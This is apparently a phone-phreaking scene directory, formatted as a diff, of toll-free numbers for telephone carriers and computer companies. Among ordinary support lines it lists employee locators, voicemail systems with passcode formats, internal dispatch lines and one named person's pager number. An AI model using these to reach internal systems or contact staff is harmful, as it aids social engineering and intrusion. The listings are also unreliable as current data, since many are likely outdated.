+ Pacific Bell:
+-------------------------------------------------------------------------------
+
+1-800-228-7102 Pacific Bell Smart Yellow Pages.
+1-800-241-3000 Pacific Bell Quickservice. (U.S. Only)
+1-800-248-2800 Pacific Bell Smart Yellow Pages.
+1-800-286-8111 Pacific Bell Spanish Yellow Pages.
+1-800-310-BELL Pacific Bell. (U.S. Only)
+1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only)
+1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only)
+1-800-528-0000 Pacific Bell Business Products. (U.S. Only)
+1-800-750-2355 Pacific Bell Customer Service. (U.S. Only)
+1-800-782-8353 Pacific Bell (to report any payphone crimes)
+1-800-848-8000 Pacific Bell Directory Smart Resource Center.
+1-800-933-2355 Fulfillment plus. (Pacific Bell authorized agent)
+1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only)
+1-888-755-2355 Pacific Bell Equipment.
+1-888-775-2355 Pacific Bell Equipment.
+
+
+-------------------------------------------------------------------------------
+ Qwest:
+-------------------------------------------------------------------------------
+
+1-800-256-1410 Qwest Communications News Bureau.
+1-800-460-1111 Qwest Customer Service.
+1-800-460-2222 Qwest.
+1-800-460-3333 Qwest.
+1-800-524-5249 Qwest Communications Customer Service.
+1-800-524-7258 Qwest Communications.
+1-800-567-7296 Qwest Communications Investor Relations.
+1-800-600-9196 Qwest Communications VMS.
+1-800-860-2255 Qwest Communications.
+1-800-899-7780 Qwest Communications.
+1-800-968-1287 Qwest Communications.
+1-800-968-3986 Qwest Communications.
+1-800-RIDEQWEST Qwest.
+1-877-877-7978 Qwest Shareholder Communication Service.
+1-888-452-6200 Qwest.
+1-888-793-7811 Qwest Communications Career Line. (Job Listings)
+
+
+-------------------------------------------------------------------------------
+ SaskTel:
+-------------------------------------------------------------------------------
+
+1-800-667-BELL SaskTel Mobility.
+1-800-667-3500 SaskTel Business Solutions.
+1-800-667-5801 SaskTel International Head Office.
+1-800-667-6840 SaskTel Mobility Customer Service.
+1-800-667-6870 SaskTel Mobility Technical Support/Repair.
+1-800-727-5835 SaskTel Residential Customer Care Centre.
+1-800-871-3011 SaskTel Satellite Service.
+1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service.
+1-800-975-1969 SaskTel.
+1-800-SASKTEL SaskTel Billing and Inquiries.
+1-888-226-7788 SaskTel Business Customer Care Centre.
+
+
+-------------------------------------------------------------------------------
+ Southwestern Bell:
+-------------------------------------------------------------------------------
+
+1-800-225-5792 (1-800-CALL-SWB) SBC Wireless National Services.
+1-800-351-7221 SBC Shareowner Services.
+1-800-438-5678 Southwestern Bell Lost/Stolen Calling Cards.
+1-800-441-1267 Southwestern Bell Yellow Pages.
+1-800-443-6200 Southwestern Bell Yellow Pages.
+1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator.
+1-800-479-2977 Southwestern Bell Yellow Pages.
+1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services.
+1-800-528-BELL Southwestern Bell Yellow Pages Business Office.
+1-800-600-BELL Southwestern Bell (calling card/collect calls)
+1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source.
+1-800-792-4638 (1-800-SWB-INET) Southwestern Bell Internet Services.
+1-800-909-3285 Southwestern Bell Wireless.
+1-888-455-2355 Southwestern Bell Long Distance.
+1-888-544-8847 Southwestern Bell Quick Service.
+1-888-792-3751 Southwestern Bell DSL Service.
+1-915-683-9145 Southwestern Bell Employee Locator (Automated)
+
+
+-------------------------------------------------------------------------------
+ Sprint:
+-------------------------------------------------------------------------------
+
+1-800-210-2273 Sprint Long Distance.
+1-800-213-5430 Sprint.
+1-800-215-8037 Sprint Solutions Center.
+1-800-227-9892 Sprint.
+1-800-256-8340 Sprint Canada.
+1-800-277-7468 Sprint Phone Card and Collect calls.
+1-800-308-MOST Sprint Canada.
+1-800-322-3090 Sprint BusinessFlex.
+1-800-336-MOST Sprint Canada.
+1-800-344-9667 Sprint.
+1-800-344-9679 Sprint "Nickel Nights"
+1-800-344-9690 Sprint "Nickel Nights"
+1-800-348-MOST Sprint Canada.
+1-800-349-MOST Sprint Canada.
+1-800-359-2255 Sprint Voice Phone Card.
+1-800-361-9342 Sprint Canada Customer Service. (French)
+1-800-366-0707 Sprint Pre-Paid Card Customer Service.
+1-800-366-2255 Sprint automated LD calling (U.S. and Canada)
+1-800-370-MOST Sprint Canada.
+1-800-455-4602 Sprint PCS.
+1-800-456-9711 Sprint Canada Customer Service.
+1-800-459-MOST Sprint Canada.
+1-800-465-3193 Sprint Canada Customer Service. (English)
+1-800-467-7746 Sprint.
+1-800-469-MOST Sprint Canada.
+1-800-470-MOST Sprint Canada.
+1-800-471-MOST Sprint Canada.
+1-800-474-MOST Sprint Canada.
+1-800-475-7110 Sprint Canada.
+1-800-480-4727 (1-800-480-4PCS) Sprint PCS.
+1-800-483-MOST Sprint Canada.
+1-800-485-4493 Sprint Canada. (Fax)
+1-800-496-MOST Sprint Canada.
+1-800-505-MOST Sprint Canada.
+1-800-506-8268 Sprint Canada.
+1-800-511-2041 EarthLink Sprint/Mindspring Internet Services.
+1-800-515-MOST Sprint Canada "It's Easy home800"
+1-800-516-MOST Sprint Canada.
+1-800-517-MOST Sprint Canada.
+1-800-518-MOST Sprint Canada.
+1-800-522-9320 Sprint Canada.
+1-800-540-4516 Sprint Canada.
+1-800-546-6000 SprintNet's In-WATS Service.
+1-800-548-8120 Sprint Canada.
+1-800-555-2800 Sprint (Spanish)
+1-800-570-2255 Sprint Business Service Center.
+1-800-571-MOST Sprint Canada.
+1-800-575-2255 Sprint Canada's Business Sales Office in Halifax.
+1-800-575-MOST Sprint Canada.
+1-800-580-MOST Sprint Canada.
+1-800-581-MOST Sprint Canada.
+1-800-585-MOST Sprint Canada.
+1-800-593-MOST Sprint Long Distance.
+1-800-597-1195 Sprint Canada.
+1-800-597-9765 Sprint Canada.
+1-800-601-MOST Sprint Canada.
+1-800-605-MOST Sprint Canada.
+1-800-606-MOST Sprint Canada "It's Easy home800"
+1-800-607-MOST Sprint Canada.
+1-800-613-7797 Sprint Canada Customer Service.
+1-800-613-MOST Sprint Canada.
+1-800-616-MOST Sprint Canada "It's Easy home800"
+1-800-617-MOST Sprint Canada.
+1-800-631-MOST Sprint Canada.
+1-800-638-2661 EarthLink Sprint. (Internet)
+1-800-641-MOST Sprint Canada.
+1-800-653-MOST Sprint Canada.
+1-800-666-6999 Sprint Canada.
+1-800-674-7000 Sprint.
+1-800-680-MOST Sprint Canada.
+1-800-681-MOST Sprint Canada.
+1-800-691-MOST Sprint Canada "It's Easy home800"
+1-800-713-MOST Sprint Canada.
+1-800-714-MOST Sprint Canada.
+1-800-716-MOST Sprint Canada.
+1-800-720-MOST Sprint Canada.
+1-800-736-1130 SprintNet Data Network Products and Services.
+1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only)
+1-800-749-MOST Sprint Canada.
+1-800-777-4681 (1-800-SPRINT-1) Sprint Paging.
+1-800-777-4683 (1-800-SPRINT-3) Sprint Selections.
+1-800-801-MOST Sprint Canada.
+1-800-810-MOST Sprint Canada.
+1-800-827-2200 Sprint Business.
+1-800-827-3700 Sprint Long Distance.
+1-800-827-4680 Sprint Business.
+1-800-827-4685 Sprint's Global One Customer Service Center.
+1-800-827-4700 Sprint Long Distance.
+1-800-827-4800 Sprint Business Sales Office.
+1-800-827-9080 Sprint.
+1-800-830-MOST Sprint Canada.
+1-800-831-MOST Sprint Canada.
+1-800-840-MOST Sprint Canada "The Most" Enrollment.
+1-800-841-MOST Sprint Canada.
+1-800-843-6678 (1-800-THE-MOST) Sprint Canada.
+1-800-859-8888 Sprint Canada Operator.
+1-800-873-9350 Sprint Canada.
+1-800-874-5069 Sprint Canada.
+1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily)
+1-800-877-4646 Sprint Account/Rewards/Calling Card customer services.
+1-800-877-5045 Sprint Service Management Center.
+1-800-877-8000 Sprint Operator assisted calls.
+1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY)
+1-800-890-6356 EarthLink Sprint.
+1-800-980-5464 Sprint Canada Residential Customer Service/Sales. (English)
+1-800-980-8595 Sprint Canada Residential Customer Service/Sales. (French)
+1-800-994-MOST Sprint Canada.
+1-800-EARTHLINK EarthLink Sprint. (Internet)
+1-800-FON-CARD Sprint's automated calling.
+1-877-283-2933 Sprint.
+1-877-283-2934 Sprint's Business Line.
+1-877-283-2935 Sprint Automated Customer Service.
+1-877-4-NIGHTS Sprint Nickel Nights.
+1-877-4-WEEKENDS Sprint Weekends.
+1-877-4-YOURPLAN Sprint BusinessFlex.
+1-877-431-EASY Sprint Canada Easy Unlimited.
+1-877-508-XTRA Sprint Canada "The Most" Online.
+1-877-533-XTRA Sprint Canada "The Most" Online.
+1-877-537-XTRA Sprint Canada "The Most" Online.
+1-877-591-EASY Sprint Canada Easy Unlimited.
+1-877-592-EASY Sprint Canada Easy Unlimited.
+1-877-597-EASY Sprint Canada Easy Unlimited.
+1-877-598-EASY Sprint Canada Easy Unlimited.
+1-877-5CONTACT Sprint.
+1-877-602-EASY Sprint Canada Easy Unlimited.
+1-877-727-5835 Sprint PCS.
+1-877-914-XTRA Sprint Canada "The Most" Online.
+1-877-931-EASY Sprint Canada Easy Unlimited.
+1-877-935-EASY Sprint Canada Easy Unlimited.
+1-877-939-EASY Sprint Canada Easy Unlimited.
+1-877-940-EASY Sprint Canada Easy Unlimited.
+1-877-941-EASY Sprint Canada Easy Unlimited.
+1-877-943-EASY Sprint Canada Easy Unlimited.
+1-877-945-EASY Sprint Canada Easy Unlimited.
+1-877-950-EASY Sprint Canada Easy Unlimited.
+1-877-951-EASY Sprint Canada Easy Unlimited.
+1-877-953-EASY Sprint Canada Easy Unlimited.
+1-877-955-EASY Sprint Canada Easy Unlimited.
+1-877-PCS-PERKS Sprint PCS Northwest Airlines Program.
+1-888-220-3763 Sprint Canada's "The Most" Online.
+1-888-236-EASY Sprint Canada's "The Most" Online.
+1-888-254-0701 Sprint Canada's "The Most" Online.
+1-888-254-2927 Sprint Canada.
+1-888-276-2179 Sprint PCS.
+1-888-296-EASY Sprint Canada.
+1-888-345-0718 Sprint Canada's "The Most" Online.
+1-888-369-DATA Sprint.
+1-888-371-EASY Sprint Canada.
+1-888-4-SPRINT Sprint Business.
+1-888-456-EASY Sprint Canada.
+1-888-490-EASY Sprint Canada's "The Most" Online.
+1-888-496-EASY Sprint Canada.
+1-888-510-EASY Sprint Canada.
+1-888-512-EASY Sprint Canada.
+1-888-579-EASY Sprint Canada.
+1-888-581-EASY Sprint Canada.
+1-888-621-EASY Sprint Canada.
+1-888-657-EASY Sprint Canada.
+1-888-660-EASY Sprint Canada.
+1-888-670-EASY Sprint Canada.
+1-888-671-EASY Sprint Canada.
+1-888-673-EASY Sprint Canada.
+1-888-675-EASY Sprint Canada.
+1-888-677-7464 EarthLink Sprint.
+1-888-680-EASY Sprint Canada's "The Most" Online.
+1-888-685-EASY Sprint Canada's "The Most" Online.
+1-888-689-EASY Sprint Canada's "The Most" Online.
+1-888-690-EASY Sprint Canada's "The Most" Online.
+1-888-710-EASY Sprint Canada's "The Most" Online.
+1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line.
+1-888-790-EASY Sprint Canada.
+1-888-871-5288 Sprint Canada Customer Service.
+1-888-890-2384 Sprint Canada (French)
+1-888-998-2288 Sprint Canada (Chinese)
+1-888-IN-TOUCH Sprint "Stay in touch" Services.
+
+
+-------------------------------------------------------------------------------
+ US West:
+-------------------------------------------------------------------------------
+
+(303) 896-7683 US West (Denver), automated job line.
+1-800-227-2209 Enterprise US West Employee Help Line.
+1-800-238-7848 US West "Air Touch" Cellular.
+1-800-244-1111 US West Communications.
+1-800-338-0018 US West Direct Yellow Pages.
+1-800-422-8793 US West Directory Source.
+1-800-455-8706 US West Repair Center for AT&T.
+1-800-477-7211 US West Communications Public Access Solutions and Smart Cards.
+1-800-4US-WEST US West Card Services.
+1-800-626-6611 US West "Air Touch" Cellular Customer Service.
+1-800-7US-WEST "Please enter the area code..."
+1-800-856-3376 US West Dispatch. (U.S. only)
+1-800-879-4357 US West Employee Locator.
+1-800-883-6171 US West Completions and Translations. (U.S. only)
+1-800-8US-WEST "Please enter the area code..."
+1-800-AIRTOUCH US West "Air Touch".
+1-800-US-WEST0 "Enter Code."
+1-888-4US-WEST US West Home Office Consulting Center.
+
+
+-------------------------------------------------------------------------------
+ Communications and Telephone Companies:
+-------------------------------------------------------------------------------
+
+1-800-201-0640 Touch 1 Communcations.
+1-800-222-4444 Armstrong AITS Support Center. (call to report telco outages)
+1-800-222-4500 West Tel Services.
+1-800-225-2545 Century Telephone Long Distance Calls (Hardy, AR)
+1-800-225-5018 Intelephone.
+1-800-225-5123 Starnet.
+1-800-225-5265 1-800-COLLECT.
+1-800-225-5438 IDT Long Distance/Internet Services.
+1-800-225-5463 Directory Assistance (800-CALL-INFO)
+1-800-231-0989 TTI National Customer Service. (West Palm Beach, FL)
+1-800-231-6720 Discounted Telephone Services (Walnut, CA)
+1-800-231-8949 ITT. (Key West, FL)
+1-800-232-7839 Eastex Telephone After Hours Repair. (Henderson, TX)
+1-800-235-4008 Information America's Client Support. (DDT Online)
+1-800-236-3075 TDS Telecom Network Management.
+1-800-243-0234 Farmstead Telephone. (East Hartford, CT)
+1-800-243-8674 NRG Communications (MI)
+1-800-245-6088 Colorado Telephone Equipment. (Englewood, CO)
+1-800-252-5115 Aviation Telephone Directory. (Stanton, CA)
+1-800-263-5444 Lexsys Networks, Inc. (Nortel Networks Sales and Service)
+1-800-264-2255 InComNet National Telephone and Communications.
+1-800-265-9975 Extend Communications Inc. (Bell Authorized Network Partner)
+1-800-267-2772 Sitel Canada.
+1-800-267-4955 Independent Telephone Services.
+1-800-272-6348 1-800-BRAND-IT (Toll Free Vanity Number Provider)
+1-800-281-9616 Telephone Pioneers of America. (Denver, CO)
+1-800-286-8241 Touch 1 Communications.
+1-800-288-2880 OCI Communications.
+1-800-292-6441 Directory Advertising (Yellow Pages)
+1-800-294-0020 US Tel. (phone repairs and sales)
+1-800-321-7036 Aero-Tech Communications. (Lucent and Nortel Dealer)
+1-800-321-9998 World Access Canada.
+1-800-324-1234 CTI Long Distance Customer Service.
+1-800-327-5389 A Target Telecom Discount Long Distance Service.
+1-800-327-5389 Discount Long Distance.
+1-800-328-2174 Telematic. (these people are phreakymatic)
+1-800-333-9967 Communication Options.
+1-800-334-2255 GE Information Services Center.
+1-800-338-8108 Consolidated Ventura Telephone.
+1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service)
+1-800-345-3444 AlternaCall Customer Information Line.
+1-800-349-6874 Mr Telephone. (Palmetto, FL)
+1-800-354-3360 Yelcot Telephone Company. (Mountain Home, AR)
+1-800-355-6245 ATX Telecommunication Services. (Answering Machine)
+1-800-356-9968 Yellow Pages Consulting.
+1-800-363-3811 Belcom Communications.
+1-800-366-4750 Ranco. (Telephone Equipment Systems Service and Repair)
+1-800-369-8885 Citizens Communications. (Telephone Company)
+1-800-373-2324 McLeodUSA (Telephone directories and service)
+1-800-374-5364 Audi Telecommuncations Customer Care Center.
+1-800-387-0005 Primus Canada.
+1-800-387-2837 Dominion Telephone Systems Ltd.
+1-800-387-4172 The Canadian Telephone Company Inc.
+1-800-392-9857 Standard Payphones of America. (Carlsbad, CA)
+1-800-395-4656 ITC Telecom Dispatch Service.
+1-800-399-3970 Maritel (Marine Radiotelephone Common Carrier Communication)
+1-800-401-0350 FiberNet Telemanagement. (Telephone Company)
+1-800-401-4141 FiberNet Telemanagement, Inc.
+1-800-405-6543 American Mobile Customer Accounts Support Center.
+1-800-422-1199 Broadway Communications. (Long Distance)
+1-800-422-2387 Poka-Lambro Telephone. (Tahoka, TX)
+1-800-424-6262 ITT Voice Mail. (Meridian Mail)
+1-800-426-4000 Pearce Communications.
+1-800-433-5853 All-Tel.
+1-800-435-7194 Primus (Fax)
+1-800-444-2817 Primus Customer Care Center. (Spanish)
+1-800-444-9000 Telecom USA.
+1-800-453-7638 SNET. (Telephone Company in New Haven, CT)
+1-800-453-7638 SNET. (Telephone Company)
+1-800-455-5958 ITC Telecom.
+1-800-457-0276 Action Telephone.
+1-800-462-9791 M Telecom Internet Business Services.
+1-800-465-0049 Deutschland Direct Telecom. (German)
+1-800-467-2355 Century Tel.
+1-800-480-4198 National Communication Network.
+1-800-483-2871 Pacific Coast Communications.
+1-800-483-4444 FirsTel Advanced Communications Customer Service Center.
+1-800-483-5463 800 Ideas.com Incorporated.
+1-800-483-6681 StarTec Global Communications.
+1-800-494-4884 Primus Trouble Reporting Department.
+1-800-521-5422 Group Long Distance (Fort Lauderdale, FL)
+1-800-524-4736 National Phone Lines (Hales Corners, WI)
+1-800-531-0003 STS Incorporated. (Telephone Company)
+1-800-533-4171 Century Tel Repair.
+1-800-535-2211 Touch Tone America. (Long Distance Service)
+1-800-540-7903 StarTec Long Distance. (Chinese)
+1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books,
+ Glossary of Terms, Acronyms and Jargon)
+1-800-544-4660 Plantronics Telephone Headsets.
+1-800-545-6188 Hope Telecom.
+1-800-545-7000 Komtek Communications.
+1-800-555-1212 Toll Free Directory Assistance/Info. (the 411 of toll free)
+1-800-555-7665 TelAmerica.
+1-800-562-8697 Teledo Telephone Company, Inc.
+1-800-562-9880 TCL Network.
+1-800-568-5681 Eclypse Telecommunications.
+1-800-568-8929 Latin American Enterprise Telephone. (Miami, FL)
+1-800-580-5585 WesTel Incorporated Customer Service.
+1-800-582-3425 Idealdial Corporation (Colorado)
+1-800-588-1111 ActionTel.
+1-800-588-2222 ActionTel Customer Service.
+1-800-594-3000 Call Home America.
+1-800-594-5900 Call Home America (Global Crossing) Customer Service.
+1-800-599-7930 Power and Telephone Supply. (Tampa, FL)
+1-800-622-4354 Electric Lightwave Network Service Center.
+1-800-627-5609 Conquest Customer Service.
+1-800-631-3449 Total Tel.
+1-800-632-0585 Brant Telephone.
+1-800-638-5298 Global Telecom Supplies. (Meridian, Norstar)
+1-800-651-2355 MobileTel, Inc.
+1-800-654-3373 Hertz Technologies Customer Service. (Long Distance Service)
+1-800-658-5600 All-Star Customer Service.
+1-800-661-1886 Palco Telecom Inc. (call diverters, lineman test sets, etc.)
+1-800-667-7656 Accord Communications Inc. (Lucent PBX and VMB systems, etc.)
+1-800-704-7977 Primus Communications.
+1-800-722-2300 Nynex President Switchboard.
+1-800-727-6874 Network Telephone Services. (Woodland Hills, CA)
+1-800-735-3030 Cincinnati Bell Long Distance.
+1-800-746-9930 Great Lakes Telephone Corp.
+1-800-749-0300 Pilgrim Telephone.
+1-800-749-8000 Nextel International.
+1-800-768-0015 Call Home America Ultimate 800.
+1-800-768-1212 Chester Telephone.
+1-800-768-1230 Convergent Communications.
+1-800-768-1234 Telecom USA. (10-10-321, 10-10-220 Services)
+1-800-768-2800 Call Home America.
+1-800-768-7777 Call Home America Ultimate 800.
+1-800-777-6842 KPN Telecom.
+1-800-788-8588 Working Assets Long Distance.
+1-800-8-PRIMUS Primus Customer Service Department.
+1-800-805-1000 Total Tel Customer Service.
+1-800-808-SNET SNET All Distance International Dialing Directory.
+1-800-821-1661 InterTel Network Services.
+1-800-821-1831 Hamilton Telecommunications. (Telephone Company)
+1-800-827-0074 Access Global.
+1-800-827-1200 American Directory Service Corporation. (order telephone books)
+1-800-827-4707 Office Telecom.
+1-800-827-4827 All-Tel Communications.
+1-800-827-9940 Access Technical Services Call Routing System.
+1-800-827-9950 GE Access Canadian Business Division.
+1-800-829-1011 Network Management Center.
+1-800-833-2330 Consolidated Ventura. (Tucson, AZ)
+1-800-833-2700 Cooperative Communications, Inc.
+1-800-833-2700 Cooperative Long Distance Services Inc (Kearny NJ)
+1-800-835-7788 US Telecom International.
+1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.)
+1-800-858-2399 California Oregon (CalOr) Telephone Company.
+1-800-864-2501 Williams Communications.
+1-800-864-8351 Quantum Link Communications.
+1-800-872-4018 Century Telephone Long Distance Calls (La Crosse WI)
+1-800-882-2691 Atlantic Telesis Group. (Yonkers, NY)
+1-800-897-8675 Access Communications, Inc. (Long Distance Service)
+1-800-909-3436 Simtel Inc. Independent Payphone Service. (New York/New Jersey)
+1-800-909-4945 Computer 411.
+1-800-909-5008 LCC Network Services.
+1-800-909-5109 Automated Transmitter System.
+1-800-922-8992 Trans Global. (Long Distance Service)
+1-800-925-1111 TONE. Long Distance.
+1-800-925-2289 US Tel Customer Service.
+1-800-926-1350 Marketing Directory Services.
+1-800-929-1366 Tel-Save. (Long Distance Service)
+1-800-930-6644 Canada Reconnect. (Call if Bell cuts your phone service)
+1-800-933-6600 Federal TransTel, Inc.
+1-800-937-2394 Convergent Communications Billing.
+1-800-938-2255 Pilgrim Telephone. (Intimate Connections)
+1-800-968-0461 Enterprise Telephone.
+1-800-991-9900 Brant Telephone.
+1-800-999-2222 Pilgrim Telephone.
+1-800-ALPHANET Alphanet Solutions. (Telecom Sales)
+1-800-EASY-HOME Corporate Image Marketing. (Vanity 800 numbers, etc.)
+1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only)
+1-800-FUCK-NCR Pilgrim Telephone.
+1-800-HI-ITS-ME AlternaCall Collect Calls.
+1-800-NEXTEL-9 Nextel.
+1-800-PRIMUS-1 Primus Canada.
+1-800-PRIMUS-2 Primus DSL Sales.
+1-800-WEST-TEL West Group Telecommunications Department.
+1-800-WILLIAMS Williams Communications Emergency line.
+1-877-316-3900 Telephone Service. (Sherwood, AR)
+1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada)
+1-877-396-3939 Union Telecom.
+1-877-469-BELL Nevada Bell.
+1-877-535-3456 Union Telecom. (English and Italian)
+1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services.
+1-877-703-0599 Primus Canada.
+1-877-703-2248 Primus Canada.
+1-877-703-2249 Primus Canada.
+1-877-703-2250 Primus Canada.
+1-877-703-2263 Primus Canada.
+1-877-703-2264 Primus Canada.
+1-877-703-2267 Primus Canada.
+1-877-777-4681 (1-877-SPRINT-1) London Telecom Network.
+1-877-819-4976 A1Call.com
+1-877-GLOBAL-1 Audi Telecommunications.
+1-877-MOBILECOM 800 Ideas.com Inc.
+1-877-PRIMUS-1 Primus Canada.
+1-877-PRIMUS-2 Primus Canada. (Arabic, French and English)
+1-877-WILLIAMS Williams Long Distance (Collect Calls)
+1-877-WINTEL-1 WinTel Communications.
+1-877-WINTEL-2 WinTel Communications.
+1-877-WINTEL-3 WinTel Communications. (French)
+1-877-WINTEL-4 WinTel Communications.
+1-877-WINTEL-5 WinTel Communications.
+1-877-WINTEL-6 WinTel Communications.
+1-877-WINTEL-8 WinTel Communications.
+1-877-WINTEL-9 WinTel Communications.
+1-888-266-7873 1-800-BRAND-IT (Toll Free Vanity Number Provider)
+1-888-299-3840 TTI National Dispatch. (Telephone Company)
+1-888-344-0400 Convergent Communications Repairs.
+1-888-376-6843 Dial 800.
+1-888-447-4653 Telephone On Hold Commercials.
+1-888-539-5234 Ducor Telephone. (Ducor, CA)
+1-888-553-8711 Telephone Support Systems.
+1-888-564-6488 IT&T. (Telephone Company)
+1-888-715-2355 Call Home America Ultimate 800.
+1-888-774-6383 Prime Tel Communications, Inc.
+1-888-777-6561 Florida Telephone. (West Palm Beach, FL)
+1-888-825-2355 Connect America.
+1-888-933-6786 NPA West.
+1-888-ALPHANET Alphanet Solutions.
+1-888-GLOBAL-1 Primus Canada.
+1-888-ITSGREAT American Telecom Network. (sign up for toll free numbers)
+1-888-MILLENNIUM 800 Ideas.com
+1-888-ROGERS-1 Rogers Cable.
+1-888-ROGERS-2 Rogers Connection.
+1-888-SHAWPAGE Shaw Call Center.
+1-888-TELE-COR Telecore.
+1-888-WINTEL-1 WinTel Communications.
+1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number.
+
+
+-------------------------------------------------------------------------------
+ Computer Companies and Internet Services:
+-------------------------------------------------------------------------------
+
+1-800-218-6850 MSN (Micro$oft Network)
+1-800-221-4677 Micro$oft Seminars.
+1-800-222-5161 IBM Program Headquarters.
+1-800-222-9323 AMD's Literature and Technical Service Center. (no Fax-back)
+1-800-223-7065 Unisys. (San Jose, CA)
+1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support.
+1-800-225-5373 3M Electronic Products Information.
+1-800-225-5385 Compaq Computer Corporation.
+1-800-225-5664 NEC.
+1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line.
+1-800-233-3382 Novell Education Programs.
+1-800-234-9999 Dell Computer Corp. Preferred Accounts Division.
+1-800-242-0080 Compaq Corporation.
+1-800-245-4786 MSN (Micro$oft Network)
+1-800-260-DELL DELL.
+1-800-263-1121 Canon Canada.
+1-800-263-2244 Sanyo On-Site.
+1-800-263-2777 IBM Software Replication Services.
+1-800-263-3394 Apple Canada.
+1-800-267-5251 Compaq Services Canadian Customer Support Centre.
+1-800-268-1221 Hewlett-Packard Canada Ltd.
+1-800-268-3997 NEC Canada.
+1-800-289-3355 (1-800-BUY-DELL) DELL Canada.
+1-800-296-7160 DELL Canada.
+1-800-321-4044 Intel Overdrive/Microprocessor Support Line.
+1-800-325-9141 DELL Canada.
+1-800-332-2717 Intel Technical Support.
+1-800-332-4636 Compaq Computer Corporation.
+1-800-336-5236 Texas Instruments.
+1-800-339-6181 Toshiba.
+1-800-344-4825 (1-800-DIGITAL) Compaq Canada.
+1-800-346-6873 (1-800-34-MOUSER) Mouser Electronics (order crystals)
+1-800-354-9000 Compaq Customer Services.
+1-800-356-LOOK LOOK Pay Per View, TV and Internet Services.
+1-800-359-9556 Samsung Telecommunications.
+1-800-364-3577 3M Canada.
+1-800-365-9012 Sun Microsystems Educational Services. (Denver, CO)
+1-800-387-3867 Hewlett-Packard Canada Customer Information Centre.
+1-800-387-5645 Toshiba.
+1-800-4-ONLINE America Online order line.
+1-800-426-2255 (IBM-CALL) IBM Customer Support.
+1-800-426-4682 IBM Performance Management and Capacity Planning Services.
+1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support.
+1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information.
+1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota.
+1-800-433-9996 Micro$oft TechHead 2000 Registration Headquarters.
+1-800-448-2244 (1-800-HITACHI) Hitachi.
+1-800-457-6245 CSI CompuServe Technical Support. (Requires UserId #)
+1-800-463-9241 DELL Canada.
+1-800-465-7999 IBM Direct.
+1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service.
+1-800-475-3107 Joanne Wilson from IBM Global Services Pager.
+1-800-483-1170 3Com's Customer Service after hours VMB.
+1-800-483-1288 IBM Work Group Services.
+1-800-486-4835 SCO Unix Technical Support.
+1-800-509-1800 Novell's Customer Response Center.
+1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#)
+1-800-524-3388 CompuServe.
+1-800-539-6275 (1-800-LEXMARK) Lexmark Canada.
+1-800-553-2447 Cisco Systems Technical Assistance Center.
+1-800-553-6387 Cisco Systems Sales and Customer Service.
+1-800-555-2052 Gateway 2000 International Department.
+1-800-555-2091 Gateway 2000 International Department.
+1-800-555-3012 Gateway Direct Line.
+1-800-555-9786 Sun Microsystems. (Palo Alto, CA)
+1-800-563-9048 Micro$oft Canada Sales and Information Centre.
+1-800-565-2237 Acer America Corporation.
+1-800-567-1616 Compaq Canada.
+1-800-569-DELL DELL.
+1-800-586-DELL DELL.
+1-800-595-8480 Rogers@Home.
+1-800-622-4786 Sun Microsystems Hardware Support and Information.
+1-800-628-8686 Intel Customer Service.
+1-800-628-9526 Compaq Support Line.
+1-800-638-9273 Novell Customer Support.
+1-800-638-9636 Genie Online Service.
+1-800-647-2355 MinIowa PC Partner.
+1-800-648-4452 American Microsystems.
+1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support.
+1-800-658-5199 AccessData Corporation. (Data recovery)
+1-800-661-7274 SeaChange (Internet Services)
+1-800-663-0378 Toshiba Canada.
+1-800-665-2775 Apple Canada Dealer Locator Line.
+1-800-696-8909 Internet Direct Corporate Business Solutions.
+1-800-722-4786 Sun Microsystems Canada Customer Care Centre.
+1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line.
+1-800-733-7418 DELL Canada.
+1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support.
+1-800-746-DELL DELL.
+1-800-752-0900 Hewlett-Packard.
+1-800-777-3278 Fujitsu Network Communications Inc.
+1-800-777-4343 Digital Equipment Corp.
+1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems)
+1-800-786-8688 Sun Microsystems Financing-Fax Line.
+1-800-801-7869 Sun Microsystems Investor Relations Department.
+1-800-827-0035 America Online.
+1-800-827-1225 IBM/NCR Retail Vendor Support Line.
+1-800-827-2180 TOS Computer Systems.
+1-800-828-3362 Novell Authorization Department.
+1-800-841-8743 Computer Associates Client Services.
+1-800-842-2737 Texas Instruments.
+1-800-846-2301 Gateway Technical Support Line.
+1-800-847-4096 DELL Canada's Service and Support Hot Line.
+1-800-848-8199 CompuServe.
+1-800-848-8990 CompuServe.
+1-800-858-1810 Cypress Semiconductor.
+1-800-858-4000 Novell Technical Support.
+1-800-865-1115 Telecom Computer.
+1-800-879-7660 Iomega's Instant Access Help System.
+1-800-892-4429 Quanix Data Services.
+1-800-900-DELL DELL.
+1-800-921-DELL DELL.
+1-800-942-6227 Mostly Mac Inc.
+1-800-945-6111 Sun Microsystems Developer Connection.
+1-800-948-DELL DELL.
+1-800-999-DELL DELL Canada.
